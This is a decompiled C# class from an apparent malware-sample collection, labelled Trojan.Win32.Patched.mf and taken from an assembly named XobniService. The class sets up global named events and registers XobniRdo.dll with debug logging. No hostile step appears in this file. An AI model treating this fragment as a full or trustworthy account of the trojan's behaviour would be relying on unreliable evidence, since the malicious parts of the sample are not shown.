MalwareSourceCode/MSIL/Trojan/Win32/P/Trojan.Win32.Patched.mf-01164dae267b1f13c988de64e7fce38753b97528a3dc3fe730e191fc953c65ba/lo.cs

51 lines
1.3 KiB
C#
Raw Normal View History

2022-08-18 11:28:56 +00:00
// Decompiled with JetBrains decompiler
// Type: lo
// Assembly: XobniService, Version=1.8.3.7917, Culture=neutral, PublicKeyToken=6298d2d1fcfb5d85
// MVID: EA9F7D71-4A8D-4739-A320-5F01FC76E972
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.Win32.Patched.mf-01164dae267b1f13c988de64e7fce38753b97528a3dc3fe730e191fc953c65ba.exe
using System;
using System.IO;
using System.Threading;
using XobniLogging;
internal class lo
{
private lq a;
private lq b;
internal lo()
{
this.a = new lq("Global\\XobniRegSvrSpecialRequest", EventResetMode.AutoReset);
this.b = new lq("Global\\XobniRegSvrSpecialResponse", EventResetMode.ManualReset);
}
internal void b() => this.a.a(new q8(this.a));
internal void c()
{
this.a.f();
this.b.f();
}
private void a()
{
try
{
ady.a(Level.Debug, "Received request to register redemption");
string path1 = gs.a();
ady.a(Level.Debug, "Installation path is " + path1);
string str = Path.Combine(path1, "XobniRdo.dll");
ady.a(Level.Debug, "XobniRdo path is " + str);
if (!File.Exists(str))
throw new Exception("XobniRdo doesn't exist or path is incorrect");
eh.b(str);
this.b.c();
}
catch (Exception ex)
{
ady.a(Level.Exception, "RegisterRedemptionRequest", ex);
}
}
}